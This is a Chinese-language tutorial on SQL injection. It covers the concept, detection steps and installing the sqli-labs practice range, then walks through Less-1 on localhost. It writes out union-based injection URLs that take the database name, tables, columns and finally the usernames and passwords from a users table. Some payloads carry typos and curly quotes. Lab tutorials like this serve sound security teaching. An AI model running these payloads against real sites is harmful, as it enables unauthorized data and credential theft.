SQL注入
Web应用工作原理
SQL注入定义
SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
SQL注入原理
-
注入的本质:将用户输入的数据拼接到原始代码中,从而使得被注入的数据被当做代码执行
-
SQL注入原理:服务器端未严格校验客户端发送的数据,而导致服务器端SQL语句被恶意修改并成功执行的行为
-
sql注入的核心:将用户的输入拼接到代码中,并被当做sql语句执行
-
两个关键条件:
- 用户可以控制传参
- 原本程序要执行的代码,拼接进了用户输入的数据并且成功执行
SQL注入分类
SQL注入过程
- 判断站点是否为动态
- 判断传承值–数据库交互
- 判断是否存在SQl注入
- 在传参的后面输入一个字符,页面报错或不正常,说明可能存在SQL注入
- 数据类型:数字型、字符型
- 数字型:逻辑判断 and 1=1 and 1=2
- 字符型:猜测后端的闭合符号(包裹变量的符号)
- 最后的注释【-- 】一般最后的空格会被浏览器去掉,所以一般最后面会构造闭合【-- asdasd】不会被执行
搭建靶场
sqli-labs
SQLi-Labs是一个专业的SQL注入练习平台,适用于GET和POST场景
下载地址
https://github.com/Audi-1/sqli-labs
安装
1、将下载完成的sqli压缩包进行解压,重命名为sqli
2、将sqli文件 放在phpstudy文件夹中的www文件夹下
3、修改sqli文件夹中的sql-connections/db-creds.inc文件
4、访问该文件夹 127.0.0.1/sqli
5、点击setup database for labs
6、安装成功
7、开始你的SQL注入之旅
以Less-1为例简单讲解SQL注入
1、使用http://127.0.0.1/sqli/Less-1/?id=1’发现数据库是字符类型
2、使用order by 查看字段数http://127.0.0.1/sqli/Less-1/?id=1‘ order by 4 --a
3、使用http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,2,3 – a,发现前端页面返回的是2,3字段
4、使用http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,database(),version() – a,发现当前数据库是security,版本是5.5.53,存在数据库information_schema
5、http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’ – a 查所有表名
6、http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,group_concat(column_name),3 from informatin_schema.columns where table_schema=’security’ and table_name=’users’ – a查看users表中的字段
7、http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,group_concat(username),group_concat(password) from security.users – a 查看字段里的内容